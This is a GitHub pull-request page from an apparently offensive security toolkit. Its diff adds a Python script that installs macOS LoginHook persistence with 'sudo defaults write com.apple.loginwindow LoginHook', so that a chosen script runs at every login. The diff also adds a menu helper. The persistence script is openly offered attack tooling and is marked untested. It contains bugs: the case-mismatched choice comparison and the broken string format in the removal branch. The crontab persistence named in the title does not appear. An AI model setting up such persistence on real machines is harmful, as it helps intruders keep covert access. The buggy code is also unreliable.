Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add crontab persistence and LoginHook persistence #29

Merged
merged 5 commits into from
May 3, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 37 additions & 0 deletions src/persistence/macOS/LoginHook.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# This approach is explained in Patrick Wardle's "Methods of Malware
# Persistence on macOS" paper on page 18.
#
# NOTE: Untested.


import os
import sys
sys.path.insert(0, "../..")
from utils.print import *
from utils.utils import choice


def main():
action = choice("Establish persistence or remove persistence?", [" Establish", " Remove"])

if action == "establish":
print_blue("Establishing macOS persistence with LoginHook")
command = "sudo defaults write com.apple.loginwindow LoginHook"
path = input("Enter the path of a script you'd like to run on login.")
if not os.path.isfile(path):
print_red("ERROR: {} is not a file.".format(path))
sys.exit(1)

# TODO: Print stdout, stderr
run_cmd("{} {}".format(command, path))
print_green("Persistence established.")
elif action == "remove":
print_blue("Removing macOS persistence with LoginHook")
command = "sudo defaults delete com.apple.loginwindow LoginHook"
# TODO: Print stdout, stderr
run_cmd("{} {}".format(command))
print_green("Persistence removed.")


if __name__ == '__main__':
main()
13 changes: 13 additions & 0 deletions src/utils/utils.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
import inquirer
import platform
import subprocess as sp
from colorama import Fore, Style


def get_os_name():
Expand All @@ -16,3 +18,14 @@ def run_cmd(command):
else:
process = sp.run(command, stdout=sp.PIPE, stderr=sp.DEVNULL)
return process


def choice(question, choices):
"""
Displays list of choices and returns the one that was selected.
"""
choice_prompt = [inquirer.List('choice',
message=Fore.GREEN + Style.BRIGHT + question + Fore.BLUE,
choices=choices)
]
return inquirer.prompt(choice_prompt).get('choice').strip()